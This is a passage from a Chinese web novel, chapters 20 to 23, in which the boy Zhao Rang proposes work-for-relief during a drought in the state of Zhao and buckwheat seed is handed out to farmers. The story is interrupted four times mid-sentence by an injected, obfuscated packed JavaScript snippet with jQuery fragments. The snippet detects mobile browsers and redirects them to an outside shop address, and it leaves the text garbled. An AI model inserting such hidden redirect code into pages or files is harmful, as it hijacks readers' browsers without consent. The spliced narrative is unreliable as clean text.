这是从前没有的事,赵壤愣了一下,下意识看向赵胜,见他眼含笑意,鼓励地看着他,抿抿唇道:“我以为眼下应该开仓赈灾,民惟邦本,本固邦宁①,平民才是国家的根基,万万不能轻忽。”
“公子所言有理。”其中一位门客叹道,“只可惜朝廷无粮,无力赈济。”
“贵族呢?”赵壤道,“可先向他们借粮,日后再还给他们便是。”
“贵族也无粮。”这位门客再次一叹。
这就是胡说了。
贵族占据最好的田地,肥沃膏腴、灌溉便利,据赵壤所知,他们会在自己的田地附近挖掘陂塘蓄水,还做了龙骨翻车,受干旱影响肯定比平民少得多。
更别说他们还有往年存下来的粮食,怎么可能一点也没有?
只是不想拿出来罢了!
但赵壤却没有办法,贵族乃是赵国的支柱,朝堂上一大半官员都由贵族担任,他们的势力根深蒂固,就连赵王都要顾忌他们的想法。赵胜门下食客三千,在赵国权势滔天,但让他一人对上所有贵族,结果同样不会乐观。
之前他无法将改良犁推广出去便是明证。
赵壤想了想,没有直接说自己的想法,而是道:“管子曾说,‘若岁凶旱水浃,民失本,则修宫室台榭……以前无狗后无彘者为庸’。”
这就是以工代赈思想的起源,宋朝之后,以工代赈逐渐成为定制,政府在修筑堤坝、疏浚河道时常常使用此法,但现在还不常见,赵壤知道的,也只有数百年前的一个例子。
春秋时期,齐国发生饥荒,平民食不果腹、露宿街头,齐国大夫晏婴建议齐景公开仓放粮,可惜齐景公不愿意,还想要修建宫殿,晏婴就把灾民招过来当劳工,特意把宫殿修得很大、道路也修得很长,工期长达三年,期间参与修建的平民都能有饭吃、还有丰厚的工钱拿,如此度过了灾年。
现在和那时的情况不是一模一样吗?
当然,他们不能修宫殿,赵王他虽然糊涂,还真不是奢靡的人!不过一个驴一个栓法,赵王自然也有他想要的东西。
门客们互相对视,心里同时冒出一个声音——
“粮道!”
赵王最在意的便是战事,如今燕国蠢蠢欲动,或许不久便要起战事。既然要打仗,粮道便是重中之重,大可在征徭役时优先用灾民。
这时候徭役制度非常苛刻,一些临时性杂役,政府不仅不管吃喝,就连来往路上的花费都要自理。但筑路属于重体力活,为了保证役夫有力气干活,政府会每日为他们提供一些食物,不多,只保
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874822|190513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
证他们能活下去且不耽误干活而已。
对于其他平民来说,这不是什么好差事,不叫去才好呢!而灾民活都活不下去,能有口饭吃就不错了,根本不会挑剔。赵王想必也不会介意,反正这笔支出省不了,给谁都一样。
竟真是一个一石三鸟,使民得食、国得功的好法子!
门客们又把赵壤夸了一番,这回比方才更加诚挚,态度也更为郑重,可见在大部分人看来,同样是解决问题,通过“器”来解决还是比不过通过“道”。
赵壤内心感慨一番,聚精会神地听他们讨论。
他只知道“以工代赈”这个思路,具体怎么操作就不懂了。而赵胜的门客不愧是人才,很快就这个点延伸出面,就征哪些人、如何分工、待遇怎么算、如何保障工程质量进行讨论,没多久就成了一个可以操作的草案。
赵壤和嬴政猛记笔记,笔尖都快冒烟了。
这可都是干货啊!
干得不能再干!
一个多时辰后,门客告退。他们会以最快的速度把方才商议的东西整理成书,以便赵胜呈给赵王,并且应对赵王的询问。
赵胜咳嗽几声,招手叫赵壤过来,说道:“现在外头乱,你们暂且挪到邯郸来住吧。”
“没到那个地步。”赵壤摇头。
赵胜也没强求,道:“我遣些甲士护着你们。”
这回赵壤没有拒绝。
二人一时无话可说,过了一会儿,赵胜遣散臣妾,问赵壤:“你是否对王上心存不满?”
赵壤轻哼一声,算是默认了。
赵胜:“王上……”
“我知道,王上他也是身不由己嘛。”赵壤语调拉长,十足的阴阳怪气。
也就是现在最棘手的问题解决了,要不然以赵壤这些日子积累的怨气,绝不可能这么“云淡风轻”。
赵胜无奈地看他一眼,叹息道:“王上确有不妥之处,但他只是天资……欠缺,并非昏聩之辈,正因如此,才需要我等辅佐,你应该想着如如何劝导他,而不是怨恨他。”
赵壤:“就连王叔都无法劝阻王上,我未必能做到。”
“力不足者,中道而废。今女画。”赵胜皱眉。
这句话出自《论语·雍也》,是孔子教导弟子冉的话,意思是:真正的能力不足,是努力到一半,实在无法继续,不得已放弃,而不是一开始便画地为牢、止步不前。
赵胜是指责赵壤自己画地为牢。
赵壤一噎。
赵胜又是一阵咳嗽,苍白的脸上泛起微红,强撑着道:“如今你因为水车,已然传出不小的名声,也算证明了‘器’的作用,王上必定改观。且他不肯听我的劝,是对我心存忌惮的缘故。你虽由我教养,但到底此时年纪还小,待你长大成人,我想必已故去多年,王上早便不介意了。”
赵壤:“……”
“王叔快别说这些不吉利的了。”赵壤把倒好的温水递到赵胜手里,板着小脸轻哼一声,“我看您就是在用苦肉计,欺负我心软呢。”
赵胜哈哈一笑:“那你中计否?”
赵壤一副“我能拿你怎么办呢?”的样子,长叹一声:“中了中了。”
20.第 20 章
赵壤一直都知道,赵胜最初之所以看重他,并不仅仅因为他们的亲戚关系,也不是赵壤多么讨人喜欢,而是他表现得足够聪明,而赵胜正好想要为赵国培养一些人才。
不是如他门下食客一般,可以在各个国家游走、随时更换主公的士人,而是如赵胜自己一样一心为了赵国,把振兴赵国当成责任之人。
此人最好出身赵国宗室,这样才会足够忠诚;并且要有能力,才能在他走后撑起赵国。
当时赵胜看了很多人,赵壤并非最合适的,只因他年纪太小,培养周期太长,而且出身略显偏远,与王室不够亲密,还和秦朝有千丝万缕联系,风险系数太高。
但赵壤表现得太聪明了!若是教导得好,以后必成栋梁之材,赵胜起了爱才之心,这才愿意让他常来常往。
当时被他看重培养的不止赵壤一个,即便到了现在,赵胜也很喜欢提点宗室小辈。但这些人里,只有赵壤与他最亲近。
人心都是肉长的,时间长了,赵胜也是真心把赵壤当成自家子侄,对他甚至比对赵嘉这个亲侄孙还要好,毫无保留地培养他、处处照顾他,不能说一心一意,但也是真心在替他打算。
有时候赵壤甚至觉得赵胜已经忘了自己的目的,他沉迷“器”道、对赵嘉不敬,都是很可能让他前途无亮的事,完全不符合赵胜对继任者
的要求,但他只是温言劝阻,劝阻不成也只是无奈一笑,从不曾勉强赵壤,更不曾因此疏远他。
在赵壤想要推广改良犁的时候,赵胜明知道不可为,还是愿意为了让赵壤安心而尽力一试,哪怕为此遭人讥讽,也不曾抱怨赵壤半分。
这样一位长辈,只是想要赵壤不要明面上埋怨赵王,难道不能满足他吗?
不怨就不怨!
只要赵王同意修粮道以工代赈,不要再作什么幺蛾子就行。
*
赵胜这些日子为了旱灾的事日夜劳心,今日又与门客议事许久,早已经疲惫不堪,如今赈济之事有了眉目,他心里的劲儿一松,整个人便撑不住了,赵壤和嬴政服侍他睡下便离开了平原君府。
看看天色,才不过半下午,赵壤和嬴政不急着回去,而是往邯郸市而去。
邯郸市是位于邯郸城南的市集,也就是商业区,距离城门不远,他们办完事可直接出城门回家。
邯郸虽有旱灾,但邯郸市热闹不减,列肆旗幡招展,行商带来天南海北的货物,其中粮食比例明显比从前高了许多,挑着担子来卖东西的庶民也变多了,不过从前他们还会卖些自家吃不完的农副产品甚至粮食,如今却都是手工的编织品、乃至自家的铁器和铜器。
到了这里,马车便慢了下来,赵壤也不叫人硬走,耐心等着。
然后听到一道略显嚣张的声音:“让开!此乃公孙车驾,休要挡路!”
这声音距离他们尚且有些距离,赵壤打开车窗看去,只见行商牵着牛马骆驼,庶民挑着担子,本就拥挤的人群硬生生挤出一条路,两辆马车缓缓驶来,御车的人赵壤也见过,正是赵嘉的御者。
赵壤:“……”
不能说赵嘉有错,这时候规矩便是贵族高于平民,贵族出行,平民需得避让,否则可能招致呵斥辱骂,甚至被马鞭抽上一下,也没地方说理去。
他只是保持微笑,打算在赵嘉经过时打个招呼,虽然对方未必能看见,但人家公孙的名头都喊出来了,赵壤总不能装作不知道,意思一下是个意思。
没想到还没到跟前,御者远远看到赵壤车厢里探出的小脑袋,侧过头与里面说了什么,马车便缓缓降速,在赵壤旁边停了下来。
并排的。
赵壤:“……”
堵路了喂!
素质呢?
赵嘉显然不觉得自己没素质,或者说他不觉得需要跟庶民讲素质,有仆臣替他打开车窗,赵壤端坐其中,侧过头跟赵壤打招呼:“赵……小叔祖从哪过来?”
赵壤眨眨眼睛,一时反应不过来,嬴政也放下书卷,诧异地看过来。
赵嘉什么时候主动叫过他小叔祖啊!
事出反常必有妖!赵壤想起前段时间赵嘉突然邀他赴宴的事,那时候他们觉得以赵嘉的品行,应该不会打算对他做什么,现在却不得不怀疑了。
他假笑着道:“我与阿兄刚从王叔府上出来,公孙呢?”
赵嘉:“我要去城外看看灾民情况。”
“公孙去吧,我们还有些事,便不奉陪了。”
赵嘉听到赵壤的话却有些诧异:“小叔祖不归家?”
他有些不悦,也有点难堪,可能以为赵壤只是随便找个借口,不想与他同行罢了。
赵壤暗叹一声,赵嘉虽然有些毛病,但大体上是个合格的公孙,聪慧上进、仁爱宽厚,能力也不缺。只是眼光不够长远,为人略显迂腐,但那是比起他先祖赵武灵王和赵惠文王这样英明神武的君主,以及赵胜和魏无忌这样才华出众的臣子来说的。
实际上以他的能力,完全可以做个不错的守成之主,运气好的话,说不定还能开拓一二。
比起赵王和太子赵偃,其实赵壤对他的好感度更高一些。
再加上刚刚答应赵胜要跟赵王室好好相处,赵壤便耐下性子解释:“公孙也知道,邯郸附近旱情严重,虽说王叔打算以工代赈,但是……”
“以工代赈?”赵嘉疑惑地重复。
赵壤又解释一遍,赵嘉听得眼睛发亮,不禁击掌赞叹:“果然是好法子!王叔不愧是我赵国柱石,竟能想到如此好的办法……”
此处省略一万字。
赵壤没说自己在此事中的作用,还时不时附和一两句“是啊”,“没错”,引得赵嘉夸赞不停。
嬴政:“……”
听完赵嘉的变相夸夸,赵壤对他的耐心明显增加,不仅语气更加温和,解释起来也细致:“……虽说以工代赈能让受灾最严重区域的庶民活下去,但还有其他地方的人呢,丰年他们尚且吃不饱,灾年便更不必提了,所以我想去粮肆看看。”
赵嘉默然片刻,在马车里对赵壤躬身一揖:“那嘉便与小叔祖同去吧。”
也行!
赵壤让赵嘉的车先走,他们已经并排待了有一会儿,街边的游侠已经隐约有些不耐烦了。
御者甩了甩鞭子,赵嘉的马车缓缓驶开,他后面那辆也跟上。
赵壤认得这是成阳君府上的马车,本以为里头是赵宏,没想
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877928|190513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到还有另外一个人——姬丹。
是的,就是燕太子丹。
这也是个名垂青史的人物,不过赵壤对他的印象仅停留在荆轲刺秦,却不知道他幼时曾在赵国为质,且和嬴政有交情。
当然,姬丹和嬴政的处境不同。
姬丹是以燕国太子的身份,正儿八经被送来赵国为质,而嬴政只是秦国质子留下的儿子,说句难听的,秦国那边是否认可他的身份都不一定,连个质子也算不上。
且秦国是赵国的仇人,而燕国却是可以争取的潜在盟友。姬丹来时还带了金银和得力的仆从,上下打点,日子过得相当不错,在赵国贵族中也有几分脸面。
所以遇到惨遭霸凌的嬴政时,他出手帮过几回,也因此和嬴政结下了情谊。
不过随着赵壤地位提升,嬴政也水涨船高,不再需要姬丹保护,有时候还可以反过来庇护姬丹。为此姬丹不痛快了很久,一度不再与嬴政往来,见到了也客套疏离,一副要绝交的架势。
但姬丹和赵宏不同,赵宏疏远赵壤,是因为自觉利益受到侵犯,而姬丹与嬴政没有利益之争,疏远他只是地位颠倒后下不来台而已。
赵壤和嬴政唱念做打地哄了一阵子,他也就没事了,如今三人算是不错的朋友。
只是不知他为何与赵嘉在一起?
*
邯郸市内同样热闹,其中尤以粮肆为最,庶民排成长长的队,羡慕地看着最前面买到粮食的人,买到粮食的人却没什么喜色,反而愁眉紧锁。
“为何他买到粮食还不高兴,是因为价格太高了吗?”赵嘉有些疑惑。
赵壤:“你把他叫来问问不就知道了。”
赵嘉果然吩咐御者将人叫来。
那老者被带到三辆高大的马车中间,还不知道发生了什么,茫然无措,瑟瑟发抖。
赵壤从马车里出来,在御者旁边坐下,便跟这老丈差不多高了,甜甜笑道:“老丈不要担心,我们没有恶意,就是想问问今日粮价几何?”
老丈见赵壤可亲,其他几位贵人看着也不像恶的,略微松了口气,磕磕绊绊地说了个数。
赵嘉和姬丹还没什么反应,赵宏先脱口道:“这么贵!”
这是今日相见以来,赵宏说的第一句话。嬴政挑了挑眉,似乎诧异他还知道这个,赵壤却不觉得奇怪,尽管赵宏看不上他沉迷“器”,但其实他自己比其他贵族都务实一些,对民生方面一直有关注,知道这些也很正常。
赵壤道:“自从干旱以来,粮食价格便一直在涨,现在不买,以后只会更高。”
这就是庶民挑着铁器、铜器来卖的缘故,他们要趁着粮价还能接受,尽快把东西换成粮食。
赵嘉看着那显然是用全部家当换来的一小袋粮食,问:“这些粟米够你们吃几日?”
“省着些,够我们全家吃上近一个月嘞!”似乎是想到全家能多撑一个月,活下来的希望更大些,老丈终于露出一个不太明显的笑。
赵嘉默然。
分开的时候,赵嘉道:“我会劝王祖父免除赋税、平粜粮价的。”
赵壤冲他深深一揖。
不管赵嘉能不能做到,此刻的心意都值得尊敬。
21.第 21 章
赵壤和嬴政回到村里,便见田地里一片忙碌。
终于下雨了,虽然今年注定减产,但也不能不管不顾,把庄稼伺候好了,或许还能挽回一些。
另外也要开始补种,黍和粟是来不及了,这两样作物虽然耐旱,但是不耐寒,现在播种,很难在下霜前成熟,即便熟了产量也会大减。
反倒是菽,因为不耐旱,前面种的一茬连往年收获的二成都不到,但现在用来补种却极为合适。
因为菽的生长周期比较短,虽然无法在下霜前成熟,但可以长出青豆,这也是粮食呢。
房前屋后的地也不浪费,被种上了芜菁和葵,不过大人顾不上这些,他们忙着开荒种地呢,就连半大孩子也要去田里帮忙,这些零碎的都被交给更小的孩童。
孩童当然也不轻松,除了照顾菜地和鸡鸭,他们还要挖野菜、捉猎物、采集一切可以入口的东西。
附近没有山,他们的“猎物”就是鸟雀和昆虫,附近的蝉鸣也越来越小,都被灵活的小孩抓下来晒成干了。
他们甚至还抓老鼠。
尽管赵壤告诉他们老鼠不干净,吃了可能会生病,但村里人自有他们的道理:关键时候,每一口吃食都很珍贵,要是没有这些老鼠,他们可能就饿死了,现在却还有一半活命的机会。
赵壤无话可说,只能在村民的请求下帮他们做了捕鼠的器械,并交代他们不到万不得已不要吃老鼠肉,且一定要彻底煮熟之后再食用。虽然依旧不能避免生病,但概率会低很多。
赵壤和嬴政的马车一进村,便有许多村民注意到了,远远与他问好。等二人从马车上下来,还有村民递果子给他们。
赵壤和嬴政不想接,他们不缺几个果子,却可能是某位村民一顿的口粮。
但看着众人期盼又忐忑,唯恐他们嫌弃的样子,赵壤和嬴政只能一人捡一个小的收下。
村民这才露出笑意,又各自忙碌去了。
这时虎子领着几个小孩风一般地卷过来,每个人手里都带着几棵杂草或树叶,围在赵壤身边叽叽喳喳道:“赵壤赵壤,你帮我看看这个能不能吃。”
嬴政上前一步站在赵壤面前,小孩们被他的威势吓住,一个个成了缩着脑袋的鹌鹑,老老实实等待检查。
赵壤再次感慨:不愧是秦始皇啊!
他不禁也得意起来,狐假虎威地抽出离得最近的一个小鹌鹑手里的杂草。
这些小鹌鹑担负帮家里采集野菜的工作,当然,在这种特殊时候,野菜和杂草已经没有分界了,只要能入口、毒不死人的东西都可以采回来以备不时之需。
至于怎么判断能不能毒死人,年长的村民倒是知道的多一些,但也有限。
这时候赵壤就出场了,他自称对这些有研究,让村民有需要尽管来问他。
换成从前村民大概不会相信,纵然赵壤读了很多书、见多识广,但他毕竟是个小孩,还是贵族出身,哪里会知道这些?
但经过桔槔和水车一事,村民对赵壤有了一种近乎盲从的信任,很轻易便接纳了这个建议,这才有了现在这个场面。
赵壤装模作样的观察手里的杂草,实则在心里戳系统:[统统,这个你收录了吗?]
系统:[……收录过了。]
说完弹出一个界面,上面正是关于这种植物的介绍,赵壤一目十行地扫过,含笑对小鹌鹑道:“这个可以吃,但不好吃,而且处理不好会胃酸。”
是的,赵壤哪里懂什么植物,只不过有个可以钻漏洞的统统罢了。
小鹌鹑得到回复,高兴地露出缺了几颗的牙,珍惜地把这株野菜放在怀里,又拿出另外一株给赵壤。
这次就不用问系统了,前些天有人问过一回,赵壤已经记住了:“这个可以吃,但不要和豆腐一起吃。”
小鹌鹑严肃地点点头,很用力地把他的话记在心里。
……
帮鹌鹑们识别完杂草,看他们又一阵风似的卷跑了,赵壤才找到忙着挖坑下种的里魁,把荞麦种子给他,说明情况后请他分给村里人。
里魁丝毫不怀疑赵壤所说的真实性,又惊又喜,保证一定会把事情办好。
办完这件要紧事,赵壤也没有走,把衣袍下摆掀起来掖在腰间,下地去了!
嬴政也是如此。
正是缺人手的时候,赵壤虽然力气不够,但是聪明细心,能帮着做些精细活,嬴政更是能当成年男人用,一个顶两个。
不止他们,就连荀子的三个弟子也在地里泡着呢。
见到赵壤和嬴政过来,浮丘伯率先问:“如何?”
村里人不知道嬴
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16894833|190513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
政和赵壤的具体身份,也不知道他们此去邯郸为了什么,荀子师徒却是知道的。
赵壤把今日发生的事细细说了一遍,听到以工代赈和荞麦种子,知道灾民大概率有救了,众人心情松快了些。但想到邯郸市灾民现状,而赵王不仅不打算救灾,还驱逐城外的灾民,又不禁怅然恼怒。
怅然自然是为了平民,恼怒则是因为赵王。
好在结果是好的。
浮丘伯叹道:“但愿那些荞麦不会被赵王扣下。”
赵壤:“……”
还真说不准。
若是从前,他会觉得这种揣测离谱,怎么可能有君王看着子民受苦,不仅不伸出援手,还要昧下别人给灾民的东西?但经过改良犁和水车的事,再加上赵王在这次旱灾中的表现,他已经不会怀疑了。
可惜赵壤别无他法,凭他们的能力,绝对不可能将这些粮种发到每一户灾民手中,就连魏无忌也不行,除了在赵国根基深厚的赵胜,就只有朝廷能胜任。
韩非看向李斯,他精通治国理论,但这种实操的问题,还得看“老奸巨猾”的李斯。
李斯摇摇头:“赵王可能会扣下一些,但一定不会太多。”
他一边拉犁一边分析:“眼下赵王对灾情的处置还没传出来,一旦传出,必令庶民寒心,若再加上这件事,恐怕就要引起众怒了,平原君无论如何也不会答应。”
况且看赵王这几次的离谱操作,赵胜又怎么可能不恼怒?
众人这才松了口气。
太阳快下山的时候,朱姬遣仆臣送来盐糖水,村民一人喝上一小碗,劳累一天后疲惫不堪的身体都好了许多。
这并不是错觉。村民为了节省粮食,一天只吃一点点,还要高强度地体力劳动,身体自然吃不消,喝上一碗盐糖水,虽然不能饱腹,却可为他们补充能量。
这样一天一碗,便可保他们不被饿死。
这件事叫村民对朱姬的印象好了许多,虽然她自己大概并不在意。
随着夕阳落入地平线,忙碌了一整日的村民终于可以休息,白日的热闹散去,小村庄陷入寂静。
另一边,邯郸城的平原君府里,赵胜也开始行动。
出乎赵壤等人预料,这次他并没有把粮种交给赵王,而是打算由他直接分给灾民。
22.第 22 章
分配救灾种子无疑是大事,而且易于收买民心,颇为敏感。虽然没有明确规定必须由朝廷来做,但是大家约定俗成、心照不宣。
按照赵胜从前的脾气,他肯定会把种子交给赵王,由赵王来处置。若是分配不合理,他再尽力争取。
但这次赵胜对着荞麦种子犹豫了一刻钟,并不怎么困难地做出决定:不告诉赵王,自己干!
他的动作非常迅速,发动门下食客,头一天安排好任务,第二日便开始行动,等赵王收到消息的时候,第一批种子已经送到灾民手里了。
赵王再蠢也明白,此时绝不能再拦着赵胜,否则便是犯了众怒。
但被冒犯的不悦,和错失荞麦种子的心痛让他在宫殿里破口大骂,骂赵胜狼子野心,居心叵测。
一部分贵族和官员也向赵王谏言,请求严惩于赵胜,好似他真的做了什么大逆不道的事。赵王虽没有依言惩罚,但也没有驳斥这些人,态度相当暧昧。
不过没多久,这些人就闭上了嘴。
——因为有更多人参与到救灾之中。
驻守边关的李牧得知荞麦种子出自他管辖的雁门郡,当即派人寻找,他是地头蛇,办事比行商便宜得多,源源不断的荞麦种子被送回邯郸。
其他行商也陆续在其他地方找到了荞麦,或者其他适宜救灾的粮种,赵胜全都高价收购,来者不拒。
行商一开始高兴赚到了钱,甚至有人混水摸鱼,找一些少见的、没人认识的粮食,谎称救灾粮种以谋取钱财。
但渐渐的,有人开始降低价格,甚至想要将荞麦种子白送给赵胜。
人心都是肉长的,商贾虽然爱钱,但也是有血有肉的人,看着赵胜为了救平民,一副散尽家财的架势,叫他们怎么能不动容?
他们也是平民啊!
有了这些人帮助,荞麦种子便没那么捉襟见肘了。最大的问题成了人手不足。
于是魏无忌、成阳君、赵豹等贵族纷纷把自家门客贡献出来,廉颇也向赵王请令,出动军队维持治安。
赵王坐在高高的王位上,看着下面恭敬跪拜的廉颇,挤出一个略显扭曲的笑容。
廉颇和赵胜可算是政敌啊,连他都要帮赵胜!
但赵王不能拒绝,或者说不敢。事已至此,谁都看得出来赵胜才是民心所向,赵王不敢冒天下之大不韪。
他允了廉颇的请求,却在廉颇走后,把自己的寝宫砸了个稀巴烂,随机挑两个碍眼的臣妾打入暴室,这才觉得胸口的憋闷好了一些。
之后的一个月里,似乎整个邯郸都在忙种荞麦这一件事,直到天渐渐凉了,已经不再适宜下种,这才算结束了。
期间赵王还下令免除灾区两年税赋。
这当然不是赵王想开了,而是听了赵嘉的劝。
大约半月之前,赵嘉去见了赵王。
彼时赵王已经快麻了,他每日坐在宫墙里,似乎都能听到歌颂赵胜的声音,平民敬仰他、商户敬重他、贵族和官吏帮助他。
有时候恍惚之间,赵王会觉得自己回到了邯郸之战那两年,他因为接连决策失误被世人唾弃,而赵胜东奔西走救下邯郸,轻易洗刷污名,成为赵国最大的柱石。
那时候赵王总有种感觉,他觉得赵胜才是赵国的王,而他不过是暂时被放在王位上的俳优(小丑),只要赵胜愿意,随时能取他而代之。
那两年赵王总是睡不好,夜里被噩梦惊醒,以为自己被拉下王位,和先祖赵武灵王一样活活饿死,尸首上长满了蛆虫。
后来赵王开始打压赵胜的威望、翦除他的羽翼,不采纳赵胜的建议、不任用他举荐的人才,拉拢、替换朝中亲近赵胜的官员,培养其他人与赵胜相争……
几年过去,赵王自觉已经掌控朝堂,不必再畏惧赵胜了,夜里也可以一觉到天明。
现在他又睡不着了。
更可怕的是,他已经没有信心赢过赵胜,并且清楚地意识到一件事:这几年顺风顺水,并不是他成长得多么厉害,而是赵胜让着他而已。
自负又自卑的赵王心态直接崩了。
他不顾礼仪地叉开双腿,坐在代表权势的王案之前,呆呆地看向王城外面,仿佛看到了赵胜意气风发的样子。
赵嘉就是这时候进来的。
他假装没看到王祖父的失礼,规规矩矩行了礼,就默默退到一边,等待王祖父问话。
殿中安安静静,连臣妾的呼吸声都听不到,唯恐一不小心惹怒赵王,步了那两位前辈的后尘。
不知过去多久,赵王才终于开口,他的声音嘶哑难听,像是刚用纱布摩擦过:“你刚从你曾叔祖那里回来?”
赵嘉:“是。”
赵王:“如何?”
赵嘉:“一切顺利。”
“官吏都听话吧?”赵王问。
赵嘉犹豫了一下,还是如实道:“听话。”
“平民呢,他们愿意种荞麦吗?”
赵嘉又犹豫了一下,含糊地说:“平民不敢反抗朝廷。”
赵王哼笑一声:“什么朝廷?他们不过是信任赵胜和赵壤罢了。”
他虽什么也没做,但一直叫人关注外面的情况,听说很多平民原本不相信荞麦,更愿意把有限的土地种更保险的菽,但听说被来人是平原君的人,荞麦则是前段时间发明水车的小公子找来的,便愿意拿出一些田地来试试了。
就连李牧和廉颇他们,又何尝不是相信赵胜和赵壤,才会在对荞麦不甚了解的情况下帮助他们,甚至不惜忤逆他这个王?
赵嘉没敢接话,过了一会儿才试探道:“平民信任曾叔祖,也是因为他是大父之臣的缘故,他们是大父的子民,自然爱重大父,若能免除税赋,他们更能感受到您的仁慈之心。”
总结:眼下唯一能挽回威望的方式就是免税。
之前赵嘉就与赵王提过此事,可惜被拒绝了,眼下再次提起,赵王犹豫许久,终于答应了。
除此之外,赵嘉还为以工代赈的百姓争取了许多利益,譬如徭役路上的吃喝也由朝廷负责,以及给他们工钱,直接发给他们留在家中的亲人。
随着荞麦种子推广,以及粮商良心觉醒,粮食的价格也渐渐回落,有了这笔钱,留在家中照顾田地的老弱妇孺也能活下去。
*
到这里,旱灾的事便差不多解决完了,只要等补种
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16900043|190513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的粮食归仓即可。
赵王想要为赵胜举办盛大的庆功宴,但赵胜自称只是替朝廷办事,当不起赵王如此厚待,且如今财政紧张,不必为他大肆铺张,婉拒了。
赵王却没有消停的意思 ,给赵胜送去大量赏赐,其他有功之臣,诸如廉颇、魏无忌和赵壤等也得到了许多。
除此之外,赵王几次当着众多官员与贵族的面盛赞赵胜,称他为“国之柱石”“赵国可一日无赵王,却不可一日无平原君”云云。
平原君赵胜之名空前荣耀,府前日日车水马龙,求见者不知凡几。
但赵胜却称病,归家修养、闭门谢客,暂时从众人视线中消失了。
*
平原君府内一处高台,赵壤和嬴政正在对弈,赵胜和廉颇则在一旁喝茶闲话,偶尔指点一下两个孩子。
赵胜指点嬴政,廉颇指点赵壤,也算是他们二人的小小比试。
是的,廉颇!
这二人平时看似没有交集,甚至隐隐有敌对的意思,实则私交不错。只是赵王忌讳文臣与武将牵扯,所以在他面前做戏罢了。
廉颇灌下一口甜滋滋的奶茶,他在战场待久了,见多了人间疾苦,就喜欢喝点甜的。
然后冷哼一声:“赵王心眼还不如绣花针大,真是叫人看不上!”
“有些话在我这儿说说也就罢了,出去可莫要胡言乱语。”赵胜神色平静,叫人看不出他的情绪,淡淡道,“这样也好,医师和壤儿总劝我修养,如今总算得空了。”
赵壤放下一枚棋子,听见这话连连点头:“身体是革命的本钱,保养好了还能再干五十年!”
廉颇和赵胜:“……”
廉颇看一眼棋盘,差点没闭过气去,浓密的眉毛皱成了两把交叉的大刀,气咻咻道:“你为什么下在这里?好好的局面都毁了!”
“莫生气~莫生气~”赵壤一点也不害怕,慢悠悠道,“这样教育孩子是不行滴!”
廉颇冷笑:“但打孩子是有用滴!”
赵壤“滋溜”一声躲到了嬴政身后。
嬴政:“……”
赵胜连忙劝架:“好了好了,孩子还小呢,你跟他置气做什么?”
廉颇这才作罢,轻哼一声:“这小子就是欠揍!”
又凶巴巴对赵壤道:“回来继续下,我好好盯着你,我一世英明,不能毁在你身上!”
赵壤躲在嬴政身后,开始挑拨离间:“怎么了怎么了,廉将军觉得王叔不配赢你吗?”
廉颇:“……”
他眼睛一瞪,撸起袖子就去追赵壤,非要打到他的屁股不可!
直到赵壤躲到病病怏怏的赵胜旁边,廉颇投鼠忌器,这才放过了他。
赵胜:“罢了罢了,我看咱们今日便别下了,你早些回去吧,若叫王上察觉,咱们处境就更难了。”
这是对廉颇说的。
廉颇沉默下来,良久叹息一声:“想蔺相如了。”
四年前,蔺相如已经病逝了。
赵胜心中一酸,眼泪差点落下来。
他明白,廉颇想的不仅仅是蔺相如,更是先王在世时君臣相合、将相同心的赵国。
23.第 23 章
廉颇只伤感片刻,很快收敛情绪,大喇喇道:“我偏不走!叫王上知道也无妨,反正他还要用我打仗,不能对我怎么样!”
赵壤和嬴政都扭头看向他,赵壤还默默竖起大拇指:“我敬您是条汉子。”
廉颇不明所以,得意地笑了两声。
赵胜:“……我怕你连累我。”
廉颇:“你还用我连累?”
赵胜:“……”
“反正我就不走!”廉颇开始耍赖,“我还要吃赵壤小子做的饭。”
正在思考下一步棋怎么走的赵壤:“?”
关他什么事?
心中默默吐槽,他还是老老实实去给众人做饭,除了适合赵胜的清淡菜色,还有廉颇爱吃的重口味。
廉颇吃得头也不抬,颇有风卷残云之势,纵然赵壤不是第一回见,也不得不再次感慨:不愧是晚年还能“一饭斗米,肉十斤”的人物啊!
